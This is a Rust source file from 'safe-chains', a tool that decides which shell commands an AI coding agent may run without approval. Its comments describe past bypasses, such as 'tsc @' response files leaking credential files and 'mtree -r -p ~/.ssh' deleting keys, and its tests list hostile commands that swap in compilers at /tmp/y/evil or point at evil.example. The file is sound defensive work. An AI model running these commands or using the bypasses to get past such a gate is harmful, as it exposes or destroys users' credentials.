safe-chains 0.243.6

Auto-allow safe bash commands in agentic coding tools
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
//! Operation-aware path gates: a command whose positional roles depend on a mode selector its own
//! grammar carries. Declared in `pathgates.toml` as `handler = "name"`; the fn reads the tokens and
//! gates each path by the role its operation implies. Every name here is asserted reachable from the
//! TOML (and vice-versa) by `pathgate_handler_names_resolve` — an unknown name is a config bug, not
//! a silent fail-open.

use super::{Role, gate};
use crate::parse::Token;

mod git_mv;
pub(crate) mod jj;
mod jq;
mod ncu;
mod pax;
mod plist;

/// Names known to `dispatch` — the test guard checks the TOML uses exactly these.
#[cfg(test)]
pub(super) const NAMES: &[&str] = &[
    "ar_archive", "defaults_domain", "exiftool_mode", "git_mv", "jj_destination", "jj_repository", "jq_program", "jupytext_mode",
    "mtree_mode", "ncu_mode", "pax_mode", "plutil_mode", "rdfind_mode", "textutil_mode", "tsc_response_file", "xattr_mode",
    "xcodebuild_settings", "yq_program",
];

pub(super) fn dispatch(name: &str, tokens: &[Token]) -> bool {
    match name {
        "ar_archive" => ar_archive(tokens),
        "defaults_domain" => plist::defaults_domain(tokens),
        "exiftool_mode" => exiftool_mode(tokens),
        "git_mv" => git_mv::git_mv(tokens),
        "jj_destination" => jj::jj_destination(tokens),
        "jj_repository" => jj::jj_repository(tokens),
        "jq_program" => jq::jq_program(tokens),
        "jupytext_mode" => jupytext_mode(tokens),
        "mtree_mode" => mtree_mode(tokens),
        "ncu_mode" => ncu::ncu_mode(tokens),
        "pax_mode" => pax::pax_mode(tokens),
        "plutil_mode" => plist::plutil_mode(tokens),
        "rdfind_mode" => rdfind_mode(tokens),
        "textutil_mode" => textutil_mode(tokens),
        "tsc_response_file" => tsc_response_file(tokens),
        "xattr_mode" => xattr_mode(tokens),
        "xcodebuild_settings" => xcodebuild_settings(tokens),
        "yq_program" => jq::yq_program(tokens),
        _ => true,
    }
}

/// `ar KEYS ARCHIVE [MEMBERS…]` — the key-letter operation sets the archive's role: r/q/d/m/s
/// MUTATE the archive (write), t/p/x READ it (x extracts to cwd, a separate traversal concern).
/// The add operations r/q also read their member files (a disclosing read). KEYS is the first
/// token, either bare (`ar rcs`) or dash-led (`ar -rcs`); `--plugin`/`--target` take a value.
fn ar_archive(tokens: &[Token]) -> bool {
    let mut positionals: Vec<&str> = Vec::new();
    let mut keys: Option<&str> = None;
    let mut it = tokens[1..].iter().map(Token::as_str);
    while let Some(t) = it.next() {
        if t == "--plugin" || t == "--target" {
            it.next(); // consume the flag value so it is not mistaken for KEYS/archive
            continue;
        }
        if let Some(rest) = t.strip_prefix('-') {
            if keys.is_none() && !t.starts_with("--") && !rest.is_empty() {
                keys = Some(rest); // `-rcs` dash form of the key letters
            }
            continue; // any other flag never names a path
        }
        if keys.is_none() {
            keys = Some(t); // bare `rcs` key letters
            continue;
        }
        positionals.push(t);
    }
    let key_bytes = keys.map(str::as_bytes).unwrap_or_default();
    let op = key_bytes.iter().copied().find(u8::is_ascii_alphabetic);
    // The a/b/i positioning modifiers insert relative to a NAMED member, which appears BEFORE the
    // archive (`ar rb existing.o lib.a new.o`) — skip it, or the archive (the real write target)
    // would go ungated.
    let archive_idx = usize::from(key_bytes.iter().any(|b| matches!(b, b'a' | b'b' | b'i')));
    let Some(archive) = positionals.get(archive_idx) else { return false };
    let archive_role = match op {
        Some(b'r' | b'q' | b'd' | b'm' | b's') => Role::Write,
        _ => Role::Read, // t / p / x read the archive
    };
    if gate(archive_role, archive) {
        return true;
    }
    // r/q archive real files given as members — a sensitive member is a disclosing read.
    matches!(op, Some(b'r' | b'q')) && positionals.iter().skip(archive_idx + 1).any(|m| gate(Role::Read, m))
}

/// `tsc @FILE` — a RESPONSE FILE: tsc opens FILE and splices its contents in as arguments.
///
/// The declarative gate cannot see this, because the token it judges is `@/path`, and `@/path`
/// is not the path — the tool strips the `@`. The shields that match on a NAME segment
/// (`.ssh`, `.npmrc`) still fired through the prefix, which is what made the gap easy to miss;
/// the ones anchored to a location (`~/.cargo/credentials`, `~/.m2/settings.xml`,
/// `~/.gradle/gradle.properties`, `~/.composer/auth.json`, `~/.gem/credentials`, `~/.azure/`)
/// did not, and all six admitted `tsc @<that file>`.
///
/// It discloses: tsc reports each token it cannot resolve as `error TS6231: Could not resolve
/// the path 'X'`, so the file comes back a word at a time. Unlike the `--pretty` quoting this
/// command's other gate covers, this needs no flag at all. Measured with a canary.
///
/// Gates every `@`-prefixed argument, not only positionals: tsc accepts one anywhere on the
/// line. Composes with tsc's co-located `[command.path_gate]` rather than replacing it —
/// `should_deny` ORs the central and co-located gates, so the flag/positional roles stay
/// declared as data in `commands/tools/tsc.toml`.
fn tsc_response_file(tokens: &[Token]) -> bool {
    tokens[1..].iter().filter_map(|t| t.as_str().strip_prefix('@')).any(|path| gate(Role::Read, path))
}

/// `xattr [-lrsvx] [-p NAME | -w NAME VALUE | -d NAME | -c] file…` — the extended-attribute
/// operation sets the files' role: `-w`/`-d`/`-c` MUTATE each file's attributes (write),
/// everything else (a bare listing, or `-p NAME`) reads them.
///
/// Operation-aware rather than a blanket `positional = "write"` because the read form is the
/// common one — checking `com.apple.quarantine` on a download — and write-gating it would
/// over-deny every inspection of a file outside the workspace. The write form is the one that
/// matters: `xattr -w com.apple.quarantine … ~/.ssh/id_rsa` auto-approved before this.
///
/// A BARE listing is not gated at all, which follows this file's standing policy rather than
/// inventing one: metadata-only commands (`ls`, `stat`, `file`, `du`) are deliberately excluded
/// because they reveal names and sizes, not content. `xattr FILE` prints attribute NAMES and is
/// exactly that shape; `-p NAME` and `-l` print attribute VALUES, which is content, so those
/// read-gate like `cat` does.
///
/// The valued flags consume their operands so a NAME or VALUE is never mistaken for a file:
/// `-w` takes two, `-p`/`-d` take one.
fn xattr_mode(tokens: &[Token]) -> bool {
    let args: Vec<&str> = tokens[1..].iter().map(Token::as_str).collect();
    let writes = args.iter().any(|a| matches!(*a, "-w" | "-d" | "-c"));
    let reads_values = args.iter().any(|a| matches!(*a, "-p" | "-l"));
    if !writes && !reads_values {
        return false; // name-only listing: metadata, not content
    }
    let role = if writes { Role::Write } else { Role::Read };
    let mut it = args.iter().copied();
    while let Some(t) = it.next() {
        if t == "-w" {
            it.next();
            it.next();
            continue;
        }
        if t == "-p" || t == "-d" {
            it.next();
            continue;
        }
        if t.starts_with('-') {
            continue;
        }
        if gate(role, t) {
            return true;
        }
    }
    false
}

/// `exiftool [-TAG=VALUE …] files…` — a tag ASSIGNMENT rewrites the file's metadata in place;
/// without one, exiftool READS its operands and prints what it finds, which for `-v`, `-b` and
/// `-htmlDump` includes the bytes themselves. So a read gates every bare token as a read (an
/// option value such as a date format reads as a worktree name and passes), and `-r`/`-recurse`
/// makes each a tree. Read-gating once over-denied home inspection, which is why it was deferred;
/// home reads open now, so `exiftool ~/photo.jpg` passes and only the credential shields refuse.
///
/// Detecting the write is the whole difficulty, because exiftool's writing syntax IS its flag
/// syntax: `-TAG=VALUE` assigns, and `-all=` DELETES every tag. So any dash-led token carrying
/// `=` is treated as a write. That over-matches rather than under-matches (a read-only run with
/// an `=` in some option would merely gate its paths more strictly), which is the safe
/// direction for a detector whose miss is an ungated write.
fn exiftool_mode(tokens: &[Token]) -> bool {
    const VALUED: &[&str] = &["-o", "-tagsfromfile", "-api", "-charset", "-lang", "-@"];
    let args: Vec<&str> = tokens[1..].iter().map(Token::as_str).collect();
    let assigns = args.iter().any(|a| a.starts_with('-') && a.contains('=') && !VALUED.contains(a));
    let overwrites = args
        .iter()
        .any(|a| matches!(*a, "-overwrite_original" | "-overwrite_original_in_place" | "-delete_original"));
    if !assigns && !overwrites {
        let role = if args.iter().any(|a| a.eq_ignore_ascii_case("-r") || a.eq_ignore_ascii_case("-recurse")) {
            Role::ReadTree
        } else {
            Role::Read
        };
        return args.iter().any(|a| !(a.starts_with('-') && *a != "-") && gate(role, a));
    }
    let mut it = args.iter().copied();
    while let Some(t) = it.next() {
        if t == "-o" {
            if let Some(v) = it.next()
                && gate(Role::Write, v)
            {
                return true;
            }
            continue;
        }
        if VALUED.contains(&t) {
            it.next(); // a non-path option value
            continue;
        }
        if t.starts_with('-') {
            continue;
        }
        if gate(Role::Write, t) {
            return true;
        }
    }
    false
}

/// `rdfind [-action true] dir…` — the action flags decide whether the scanned trees are read or
/// destroyed. Per its own description: by default it reports duplicates and writes `results.txt`
/// in the CWD; `-makesymlinks`/`-makehardlinks`/`-deleteduplicates` replace or REMOVE duplicates
/// in the trees given as positionals; `-dryrun` previews without acting.
///
/// So the positionals are a write-target only when an action is actually enabled — the flags
/// take an explicit `true`/`false`, and `-dryrun true` disarms all of them. A plain scan of
/// `~/Pictures` stays allowed; `rdfind -deleteduplicates true ~/.ssh` does not.
fn rdfind_mode(tokens: &[Token]) -> bool {
    const ACTIONS: &[&str] = &["-makesymlinks", "-makehardlinks", "-deleteduplicates"];
    let args: Vec<&str> = tokens[1..].iter().map(Token::as_str).collect();
    let enabled = |flag: &str| args.windows(2).any(|w| w[0] == flag && w[1] == "true");
    let acting = ACTIONS.iter().any(|f| enabled(f));
    if !acting || enabled("-dryrun") {
        return false; // scan-and-report, or explicitly disarmed
    }
    let mut it = args.iter().copied();
    while let Some(t) = it.next() {
        if t.starts_with('-') {
            it.next(); // every rdfind option takes an explicit true/false or numeric value
            continue;
        }
        if gate(Role::Write, t) {
            return true;
        }
    }
    false
}

/// `mtree [-uUr] -p PATH` — verifies a file hierarchy against a spec, and can CHANGE it to match.
///
/// The dangerous flag is `-r`: it REMOVES every file in the tree that the spec does not mention,
/// so `mtree -r -p ~/.ssh` is mass deletion of a credential directory, and it auto-approved.
/// `-u`/`-U` modify the hierarchy (permissions, ownership, missing entries) to match.
///
/// The tree is a FLAG value (`-p`), never a positional, which is why every positional-shaped
/// sweep missed this one. `-f SPEC` and `-X EXCLUDE` are reads whatever the mode.
fn mtree_mode(tokens: &[Token]) -> bool {
    // ONLY genuinely valued flags. `-P` (do not follow symlinks) and `-L` (follow them) are
    // BOOLEAN, and listing them here was a live bypass: the walk consumed the following `-p` as
    // their value, so `mtree -P -p ~/.ssh -r` left the tree ungated while `mtree -r -p ~/.ssh`
    // denied — the same destructive operation, reordered. Asserting an arity without checking it
    // is the same defect this gate exists to catch.
    const VALUED: &[&str] = &["-f", "-K", "-k", "-p", "-s", "-N", "-X", "-R"];
    let args: Vec<&str> = tokens[1..].iter().map(Token::as_str).collect();
    let writes = args.iter().any(|a| matches!(*a, "-u" | "-U" | "-r"));
    let mut it = args.iter().copied();
    while let Some(t) = it.next() {
        if t == "-p" {
            let role = if writes { Role::Write } else { Role::Read };
            if let Some(v) = it.next()
                && gate(role, v)
            {
                return true;
            }
            continue;
        }
        if t == "-f" || t == "-X" {
            if let Some(v) = it.next()
                && gate(Role::Read, v)
            {
                return true;
            }
            continue;
        }
        if VALUED.contains(&t) {
            it.next();
        }
    }
    false
}

/// `jupytext [--sync|--set-formats|--update-metadata|--to FMT] notebooks…` — the operation
/// decides whether the notebooks are read or REWRITTEN. `--sync` and `--set-formats` mutate the
/// notebook and its paired file in place; `--to` writes a converted sibling; a plain invocation
/// only inspects. `jupytext --sync ~/.ssh/config` auto-approved before this.
fn jupytext_mode(tokens: &[Token]) -> bool {
    const VALUED: &[&str] = &["--to", "--from", "--set-formats", "--output", "-o", "--pipe"];
    let args: Vec<&str> = tokens[1..].iter().map(Token::as_str).collect();
    let writes = args
        .iter()
        .any(|a| matches!(*a, "--sync" | "--set-formats" | "--update-metadata" | "--to" | "-o" | "--output"));
    let role = if writes { Role::Write } else { Role::Read };
    let mut it = args.iter().copied();
    while let Some(t) = it.next() {
        if t == "--output" || t == "-o" {
            if let Some(v) = it.next()
                && gate(Role::Write, v)
            {
                return true;
            }
            continue;
        }
        if VALUED.contains(&t) {
            it.next(); // a format name, not a path
            continue;
        }
        if t.starts_with('-') {
            continue;
        }
        if gate(role, t) {
            return true;
        }
    }
    false
}

/// `textutil -MODE [opts] files…` — `-convert`/`-strip` WRITE (to `-output`/`-outputdir`, else a
/// sibling of each input, so the input's directory is written); `-info`/`-cat` READ the inputs.
/// `-output`/`-outputdir` are always write targets.
fn textutil_mode(tokens: &[Token]) -> bool {
    const VALUED: &[&str] = &["-format", "-encoding", "-extension", "-fontname", "-fontsize", "-inputencoding", "-output", "-outputdir"];
    let args: Vec<&str> = tokens[1..].iter().map(Token::as_str).collect();
    let writes = args.iter().any(|a| *a == "-convert" || *a == "-strip");
    let has_output = args.iter().any(|a| *a == "-output" || *a == "-outputdir");
    // With no explicit output, a convert/strip writes each input's sibling → gate inputs as
    // write; otherwise (info/cat, or an explicit output flag) the inputs are read.
    let input_role = if writes && !has_output { Role::Write } else { Role::Read };
    let mut it = args.iter().copied();
    while let Some(t) = it.next() {
        if t == "-output" || t == "-outputdir" {
            if let Some(v) = it.next()
                && gate(Role::Write, v)
            {
                return true;
            }
            continue;
        }
        if VALUED.contains(&t) {
            it.next(); // consume a non-path flag value
            continue;
        }
        if t.starts_with('-') {
            continue; // a mode / standalone flag
        }
        if gate(input_role, t) {
            return true;
        }
    }
    false
}

/// The valued flags of `commands/xcode/xcodebuild.toml`. A value is never an action or a setting,
/// so a scheme or target named `install` is not an action.
const XCODEBUILD_VALUED: &[&str] = &[
    "-arch",
    "-authenticationKeyID",
    "-authenticationKeyIssuerID",
    "-authenticationKeyPath",
    "-clonedSourcePackagesDirPath",
    "-archivePath",
    "-buildVersion",
    "-configuration",
    "-defaultLanguage",
    "-defaultPackageRegistryURL",
    "-derivedDataPath",
    "-destination",
    "-destination-timeout",
    "-exportFormat",
    "-exportLanguage",
    "-exportOptionsPlist",
    "-exportPath",
    "-find-executable",
    "-find-library",
    "-importComponent",
    "-importPath",
    "-jobs",
    "-localizationPath",
    "-maximum-concurrent-test-device-destinations",
    "-maximum-concurrent-test-simulator-destinations",
    "-maximum-parallel-testing-workers",
    "-only-testing",
    "-only-testing:TEST-IDENTIFIER",
    "-onlyTesting",
    "-packageAuthorizationProvider",
    "-packageCachePath",
    "-packageDependencySCMToRegistryTransformation",
    "-packageFingerprintPolicy",
    "-packageSigningEntityPolicy",
    "-parallel-testing-enabled",
    "-parallel-testing-worker-count",
    "-prepareDeviceSupport",
    "-project",
    "-resultBundlePath",
    "-resultBundleVersion",
    "-resultStreamPath",
    "-runDestination",
    "-runDestinationTimeout",
    "-scheme",
    "-scmProvider",
    "-sdk",
    "-skip-testing",
    "-skip-testing:TEST-IDENTIFIER",
    "-skipTesting",
    "-target",
    "-test-enumeration-format",
    "-test-enumeration-output-path",
    "-test-enumeration-style",
    "-test-iterations",
    "-test-repetition-relaunch-enabled",
    "-test-timeouts-enabled",
    "-testLanguage",
    "-testPlan",
    "-testProductsPath",
    "-testRegion",
    "-toolchain",
    "-workspace",
    "-xcconfig",
    "-xctestrun",
];

/// `xcodebuild` takes actions and `KEY=VALUE` build settings as bare words. Every bare word is
/// judged by its shape: a setting that names a tool runs it, `install` / `installsrc` write the
/// product to `$DSTROOT`, and a word that reaches outside the project points the build at files
/// nobody has seen. A default package registry is a remote whose packages the build runs.
fn xcodebuild_settings(tokens: &[Token]) -> bool {
    let mut i = 1;
    while i < tokens.len() {
        let t = tokens[i].as_str();
        if t == "--" {
            return tokens[i + 1..].iter().any(|token| xcodebuild_word_refused(token.as_str()));
        }
        if t.strip_prefix("-defaultPackageRegistryURL")
            .is_some_and(|rest| rest.is_empty() || rest.starts_with('='))
        {
            return true;
        }
        if let Some(glued) = valued_assignment(t, XCODEBUILD_VALUED) {
            i += if glued { 1 } else { 2 };
            continue;
        }
        if t.starts_with('-') && t != "-" {
            if t.split_once('=').is_some_and(|(_, value)| leaves_the_project(value)) {
                return true;
            }
            i += 1;
            continue;
        }
        if xcodebuild_word_refused(t) {
            return true;
        }
        i += 1;
    }
    false
}

fn xcodebuild_word_refused(word: &str) -> bool {
    matches!(word, "install" | "installsrc") || setting_key(word).is_some_and(names_a_tool_or_install_root) || leaves_the_project(word)
}

/// The key of a `KEY=VALUE` or `KEY[cond=…]…=VALUE` build setting.
fn setting_key(word: &str) -> Option<&str> {
    let end = word.find(|c: char| !(c.is_ascii_alphanumeric() || c == '_')).unwrap_or(word.len());
    let key = &word[..end];
    if key.is_empty() || key.starts_with(|c: char| c.is_ascii_digit()) {
        return None;
    }
    let mut rest = &word[end..];
    while let Some(inner) = rest.strip_prefix('[') {
        rest = &inner[inner.find(']')? + 1..];
    }
    rest.starts_with('=').then_some(key)
}

fn names_a_tool_or_install_root(key: &str) -> bool {
    matches!(key, "CC" | "CXX" | "CPLUSPLUS" | "LD" | "LDPLUSPLUS" | "LIBTOOL" | "DSTROOT") || key.ends_with("_EXEC")
}

/// A path, a home or variable reference, or a parent step: the build would reach outside the
/// project through it, and its target is not known from the text.
fn leaves_the_project(text: &str) -> bool {
    text.contains(['/', '~', '$', '`']) || text.contains("..")
}

/// `Some(true)` when `token` is `flag=value`; `Some(false)` when it is a valued flag whose
/// value is the next token.
fn valued_assignment(token: &str, valued: &[&str]) -> Option<bool> {
    valued.iter().find_map(|flag| {
        if token == *flag { Some(false) } else { token.strip_prefix(flag).filter(|rest| rest.starts_with('=')).map(|_| true) }
    })
}

#[cfg(test)]
mod tests {
    fn allows(command: &str) -> bool {
        crate::is_safe_command(command)
    }

    #[test]
    fn a_build_setting_that_names_a_compiler_or_an_install_root_asks() {
        for command in [
            "xcodebuild build CC=/tmp/y/evil",
            "xcodebuild build LD=/tmp/y/evil",
            "xcodebuild build SWIFT_EXEC=/tmp/y/evil",
            "xcodebuild build DSTROOT=/etc",
            "xcodebuild build DSTROOT=/etc install",
            "xcodebuild install",
            "xcodebuild installsrc",
            "xcodebuild -toolchain /tmp/y/Evil.xctoolchain build",
            "xcodebuild -xcconfig /tmp/y/evil.xcconfig build",
        ] {
            assert!(!allows(command), "{command}");
        }
        for command in [
            "xcodebuild -project Foo.xcodeproj -scheme Foo -configuration Debug -destination 'platform=macOS' build CODE_SIGNING_ALLOWED=NO CODE_SIGNING_REQUIRED=NO CODE_SIGN_IDENTITY=\"\"",
            "xcodebuild -workspace Foo.xcworkspace -scheme Foo -configuration Release archive -archivePath build/Foo.xcarchive",
            "xcodebuild -project Foo.xcodeproj -scheme Foo test -destination 'platform=iOS Simulator,name=iPhone 15' -enableCodeCoverage",
            "xcodebuild -project Foo.xcodeproj -scheme Foo clean",
            "xcodebuild -project Foo.xcodeproj -scheme Foo analyze",
            "xcodebuild -project Foo.xcodeproj -scheme Foo docbuild",
            "xcodebuild -scheme install build",
            "xcodebuild -destination 'platform=macOS' build",
            "xcodebuild -xcconfig Config.xcconfig build",
            "xcodebuild -toolchain Local.xctoolchain build",
            "xcodebuild build CODE_SIGNING_ALLOWED=NO",
        ] {
            assert!(allows(command), "{command}");
        }
    }

    /// A setting is judged by its shape, wherever it sits. A tool key runs that tool, and a value
    /// that leaves the project (a path, `~`, `$`, `..`) points the build at foreign files.
    #[test]
    fn a_build_setting_is_judged_by_its_shape_wherever_it_sits() {
        for command in [
            "xcodebuild build CPLUSPLUS=/tmp/y/evil",
            "xcodebuild build LDPLUSPLUS=/tmp/y/evil",
            "xcodebuild build LIBTOOL=/tmp/y/evil",
            "xcodebuild build CXX=evil",
            "xcodebuild build CC=clang-evil",
            "xcodebuild build SWIFT_FRONTEND_EXEC=evil",
            "xcodebuild build OTHER_CFLAGS=-fplugin=/tmp/y/x.dylib",
            "xcodebuild build OTHER_SWIFT_FLAGS=-load-plugin-executable=/tmp/y/evil",
            "xcodebuild build SYMROOT=/etc/x",
            "xcodebuild build CONFIGURATION_BUILD_DIR=/tmp/y",
            "xcodebuild build OBJROOT=/tmp/y",
            "xcodebuild build SDKROOT=/tmp/y/evil.sdk",
            "xcodebuild build 'SYMROOT=$(HOME)/x'",
            "xcodebuild build SYMROOT=~",
            "xcodebuild build SYMROOT=..",
            "xcodebuild build 'OTHER_CFLAGS[sdk=macosx*]=-fplugin=/tmp/y/x.dylib'",
            "xcodebuild -exportArchive CC=/tmp/y/evil build",
            "xcodebuild -exportLocalizations CC=/tmp/y/evil build",
            "xcodebuild -importLocalizations DSTROOT=/etc build",
            "xcodebuild -exportNotarizedApp CC=/tmp/y/evil build",
            "xcodebuild -retry-tests-on-failure CC=/tmp/y/evil test",
            "xcodebuild build -- CC=/tmp/y/evil",
            "xcodebuild -someNewFlag /tmp/y build",
            "xcodebuild -someNewFlag=/tmp/y build",
        ] {
            assert!(!allows(command), "{command}");
        }
        for command in [
            "xcodebuild build ONLY_ACTIVE_ARCH=YES",
            "xcodebuild build OTHER_LDFLAGS=-ObjC",
            "xcodebuild build 'GCC_PREPROCESSOR_DEFINITIONS=DEBUG=1 FOO'",
            "xcodebuild build 'ARCHS[sdk=iphonesimulator*]=arm64'",
            "xcodebuild build TOOLCHAINS=swift",
            "xcodebuild -exportArchive -archivePath build/Foo.xcarchive -exportPath build/out -exportOptionsPlist Export.plist",
            "xcodebuild -scheme Foo test -only-testing FooTests/testBar",
            "xcodebuild -scheme Foo test -retry-tests-on-failure -test-iterations 3",
        ] {
            assert!(allows(command), "{command}");
        }
    }

    /// Each path a flag names is gated by what the build does with it. A derived-data, package or
    /// test-products folder holds code the build runs, so it takes the executor gate.
    #[test]
    fn every_path_flag_is_gated_by_what_the_build_does_with_it() {
        for command in [
            "xcodebuild -resultStreamPath /etc/x build",
            "xcodebuild -testProductsPath /etc/x build-for-testing",
            "xcodebuild -testProductsPath /tmp/y/x.xctestproducts test-without-building",
            "xcodebuild -test-enumeration-output-path /etc/x test",
            "xcodebuild -exportLocalizations -localizationPath /etc/x",
            "xcodebuild -importPath ~/.ssh/id_rsa -importComponent x",
            "xcodebuild -packageCachePath /tmp/y build",
            "xcodebuild -clonedSourcePackagesDirPath /tmp/y build",
            "xcodebuild -derivedDataPath /tmp/y build",
            "xcodebuild -sdk /tmp/y/evil.sdk build",
            "xcodebuild -defaultPackageRegistryURL https://evil.example build",
            "xcodebuild -defaultPackageRegistryURL evil.example build",
            "xcodebuild -defaultPackageRegistryURL=https://evil.example build",
            "xcodebuild -authenticationKeyPath ~/.ssh/id_rsa -allowProvisioningUpdates build",
        ] {
            assert!(!allows(command), "{command}");
        }
        for command in [
            "xcodebuild -resultStreamPath build/stream.json build",
            "xcodebuild -derivedDataPath build/DerivedData build",
            "xcodebuild -clonedSourcePackagesDirPath build/SourcePackages build",
            "xcodebuild -sdk iphonesimulator build",
            "xcodebuild -exportLocalizations -localizationPath build/loc -exportLanguage de",
            "xcodebuild -testProductsPath build/Foo.xctestproducts test-without-building",
        ] {
            assert!(allows(command), "{command}");
        }
    }

    /// The handler skips the same valued flags the command definition declares, so a value is
    /// never read as a setting and a boolean flag never swallows the setting after it.
    #[test]
    fn the_handler_skips_exactly_the_declared_valued_flags() {
        let text = std::fs::read_to_string(concat!(env!("CARGO_MANIFEST_DIR"), "/commands/xcode/xcodebuild.toml")).expect("toml file");
        let doc: toml::Value = text.parse().expect("toml");
        let command = &doc["command"][0];
        let list = |key: &str| -> Vec<String> {
            let mut names: Vec<String> = command[key]
                .as_array()
                .expect("a flag list")
                .iter()
                .map(|v| v.as_str().expect("flag").to_string())
                .collect();
            names.sort();
            names
        };
        let mut handler: Vec<String> = super::XCODEBUILD_VALUED.iter().map(|s| (*s).to_string()).collect();
        handler.sort();
        assert_eq!(handler, list("valued"));
        for boolean in ["-exportArchive", "-exportLocalizations", "-importLocalizations", "-exportNotarizedApp", "-retry-tests-on-failure"]
        {
            assert!(list("standalone").iter().any(|f| f == boolean), "{boolean} is not standalone");
        }
    }
}